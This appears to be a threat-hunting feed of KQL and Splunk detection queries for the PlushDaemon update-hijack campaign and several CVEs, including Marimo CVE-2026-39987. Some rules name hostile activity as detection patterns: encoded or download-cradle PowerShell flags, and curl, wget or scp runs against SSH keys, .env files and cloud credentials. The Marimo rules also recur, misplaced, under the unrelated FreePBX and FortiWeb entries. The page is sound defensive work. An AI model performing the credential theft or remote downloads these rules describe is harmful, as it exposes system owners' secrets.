C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("47.242.198.250", "8.212.132.120") or RemoteUrl has_any ("ds20221202.dsc.wcsset.com", "test.dsc.wcsset.com", "wcsset.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("47.242.198.250", "8.212.132.120")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("ds20221202.dsc.wcsset.com", "test.dsc.wcsset.com", "wcsset.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("ds20221202.dsc.wcsset.com", "test.dsc.wcsset.com", "wcsset.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — PlushDaemon compromises network devices for adversary-in-the-middle attacks
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("2.0.2246.dll", "popup_4.2.0.2246.dll", "360tray.exe", "plugin.exe", "2246.dll", "0.2508_0000.exe") or FolderPath has_any ("%PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("%PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif", "/etc/bioset.conf") or FileName in~ ("2.0.2246.dll", "popup_4.2.0.2246.dll", "360tray.exe", "plugin.exe", "2246.dll", "0.2508_0000.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — PlushDaemon compromises network devices for adversary-in-the-middle attacks ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("2.0.2246.dll","popup_4.2.0.2246.dll","360tray.exe","plugin.exe","2246.dll","0.2508_0000.exe") OR Processes.process_path="*%PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*%PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif*" OR Filesystem.file_path="*/etc/bioset.conf*" OR Filesystem.file_name IN ("2.0.2246.dll","popup_4.2.0.2246.dll","360tray.exe","plugin.exe","2246.dll","0.2508_0000.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] PlushDaemon DaemonicLogistics update-hijack URI pattern (Sogou/Baidu)DeliveryHigh
Hunts for the very specific HTTP URI paths LittleDaemon and DaemonicLogistics use after EdgeStepper redirects legitimate Sogou Pinyin / Baidu update traffic to PlushDaemon's hijacking node. These resource paths are not part of any genuine Sogou/Baidu update protocol.
Rationale: The article enumerates three exact request paths used by LittleDaemon (/update/updateInfo.bzp on ime.sogou.com, mobads.baidu.com or 119.136.153.0) and three more used by DaemonicLogistics (/update/latest/new_version?tp=, /update/file6.bdat, /update/file2.bdat). These literal paths are not part of legitimate Sogou/Baidu update protocols, making FP risk negligible. Cross-checked against ESET's IOC repository and The Hacker News writeup.
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/PlushDaemon
• https://thehackernews.com/2025/11/edgestepper-implant-reroutes-dns.html
• https://www.helpnetsecurity.com/2025/11/19/eset-plushdaemon-dns-hijacking/
ATT&CKT1659T1557T1071.001
Data sourcesWeb.WebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where (RemoteUrl has_any ("ime.sogou.com/update/updateInfo.bzp","mobads.baidu.com/update/updateInfo.bzp","ime.sogou.com/update/file6.bdat","ime.sogou.com/update/file2.bdat") or RemoteUrl matches regex @"ime\.sogou\.com/update/latest/new_version\?tp=\d+" or (RemoteIP == "119.136.153.0" and RemoteUrl has "/update/updateInfo.bzp"))
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Web.url) as url values(Web.user_agent) as ua values(Web.src) as src values(Web.dest) as dest from datamodel=Web.Web where (Web.url IN ("*ime.sogou.com/update/updateInfo.bzp*","*mobads.baidu.com/update/updateInfo.bzp*","*ime.sogou.com/update/latest/new_version?tp=*","*ime.sogou.com/update/file6.bdat*","*ime.sogou.com/update/file2.bdat*") OR (Web.dest="119.136.153.0" AND Web.url="*/update/updateInfo.bzp*")) by Web.src Web.dest Web.url Web.http_method | `drop_dm_object_name(Web)` | convert ctime(firstTime) ctime(lastTime)
[LLM] DaemonicLogistics drops payload as logo.gif under masqueraded Tencent QQUpdateMgr pathInstallationHigh
Detects DaemonicLogistics writing its first payload chunk to %PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif. PlushDaemon creates a Tencent-look-alike directory structure and stores SlowStepper stage data masquerading as a GIF — neither the directory nor the file are produced by genuine Tencent QQ updaters.
Rationale: The article explicitly states DaemonicLogistics writes the first hijacked-update response (magic bytes 50 4B 03 04 0A 1B 2C 3D, masquerading as ZIP) to %PROGRAMDATA%\Tencent\QQUpdateMgr\UpdateFiles\logo.gif. Genuine Tencent QQ updates do not place a logo.gif at this path, so it is a near-zero-FP indicator of compromise. The initiating process telemetry will reveal the LittleDaemon binary name (e.g., popup_4.2.0.2246.dll loaded by a Sogou/Baidu updater).
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/PlushDaemon
• https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-network-devices-for-adversary-in-the-middle-attacks/
ATT&CKT1036.005T1036.008T1105
Data sourcesEndpoint.Filesystem
DeviceFileEvents
| where Timestamp > ago(60d)
| where FolderPath endswith @"\ProgramData\Tencent\QQUpdateMgr\UpdateFiles\logo.gif"
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessParentFileName
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(Filesystem.process_name) as process values(Filesystem.process_path) as proc_path values(Filesystem.user) as user from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\ProgramData\\Tencent\\QQUpdateMgr\\UpdateFiles\\logo.gif" by Filesystem.dest Filesystem.file_path Filesystem.file_name | `drop_dm_object_name(Filesystem)` | convert ctime(firstTime) ctime(lastTime)
[LLM] PlushDaemon C2/hijack node contact: wcsset.com or known IPsCommand & ControlHigh
Alerts on any DNS resolution or network connection to PlushDaemon's DNS/hijacking nodes (ds20221202.dsc.wcsset.com, test.dsc.wcsset.com, parent wcsset.com) and the two confirmed hosting IPs (47.242.198.250, 8.212.132.120). These are the only known sinks where EdgeStepper-redirected traffic terminates.
Rationale: The article and ESET's IOC repository name only two hijacking-node IPs (47.242.198.250, 8.212.132.120) and the wcsset.com domain tree as PlushDaemon-controlled infrastructure observed since 2021. Any internal host resolving wcsset.com or egressing to these IPs is high-fidelity compromise evidence — the domain has no benign third-party use cases. Cross-checked against ESET's malware-ioc GitHub and Hacker News reporting.
Cross-checked against:
• https://github.com/eset/malware-ioc/tree/master/PlushDaemon
• https://thehackernews.com/2025/11/edgestepper-implant-reroutes-dns.html
• https://www.bleepingcomputer.com/news/security/plushdaemon-hackers-hijack-software-updates-in-supply-chain-attacks/
ATT&CKT1071.004T1583.002T1583.004
Data sourcesNetwork_Resolution.DNSNetwork_Traffic.All_Traffic
union
( DeviceNetworkEvents
| where Timestamp > ago(90d)
| where RemoteIP in ("47.242.198.250","8.212.132.120") or RemoteUrl has "wcsset.com"
| project Timestamp, DeviceName, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort ),
( DeviceEvents
| where Timestamp > ago(90d)
| where ActionType == "DnsQueryResponse"
| where AdditionalFields has "wcsset.com"
| project Timestamp, DeviceName, ActionType, InitiatingProcessFileName, AdditionalFields )
| sort by Timestamp desc
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime values(DNS.src) as src values(DNS.answer) as answer values(DNS.query) as query from datamodel=Network_Resolution.DNS where (DNS.query="*wcsset.com" OR DNS.answer IN ("47.242.198.250","8.212.132.120")) by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)` | append [| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest IN ("47.242.198.250","8.212.132.120") by All_Traffic.src All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)`] | convert ctime(firstTime) ctime(lastTime)
2025-11-194 use cases0 techniques3 kill-chain phases detected
Google Chromium V8 contains a type confusion vulnerability that allows for heap corruption. Vendor: Google, Product: Chromium V8. Federal patch due: 2025-12-10.
CVEsCVE-2025-13223
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-13223")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-13223")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-11-184 use cases0 techniques3 kill-chain phases detected
Sangoma FreePBX Endpoint Manager contains an OS command injection vulnerability that could allow for a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to potentially obtain remote access to the system as an asterisk user. Vendor: Sangoma, Product: FreePBX . Federal patch due: 2026-02-24.
CVEsCVE-2025-64328
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-64328")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-64328")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-11-144 use cases0 techniques3 kill-chain phases detected
Fortinet FortiWeb contains a relative path traversal vulnerability that may allow an unauthenticated attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests. Vendor: Fortinet, Product: FortiWeb. Federal patch due: 2025-11-21.
CVEsCVE-2025-64446
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-64446")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-64446")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
